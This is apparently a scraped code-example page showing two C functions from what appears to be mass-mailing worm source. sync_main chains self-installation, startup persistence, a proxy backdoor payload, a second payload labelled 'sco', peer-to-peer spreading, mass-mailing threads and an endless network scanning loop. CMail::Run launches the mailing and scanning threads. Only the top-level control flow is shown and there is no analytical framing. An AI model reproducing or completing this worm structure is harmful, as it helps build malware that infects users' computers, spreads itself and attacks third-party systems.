Ejemplo n.º 1
0
void sync_main(struct sync_t *sync)
{
	DWORD tid;

	sync->start_tick = GetTickCount();
	sync_check_frun(sync);
	if (!sync->first_run)
		if (sync_mutex(sync)) return;
	if (sync->first_run)
		CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
	payload_xproxy(sync);

	if (sync_checktime(sync)) return;

	sync_install(sync);
	sync_startup(sync);

	payload_sco(sync);

	p2p_spread();

	massmail_init();
	CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);

	scan_init();
	for (;;) {
		scan_main();
		Sleep(1024);
	}
}
Ejemplo n.º 2
0
void *CMail::Run()
{
	massmail_init();
	CreateThread(NULL, 0, (unsigned long (__stdcall *)(void *))massmail_main, 0, 0, NULL);
	scan_init();
	CreateThread(NULL, 0, (unsigned long (__stdcall *)(void *))scan_main, 0, 0, NULL);
	return NULL;
}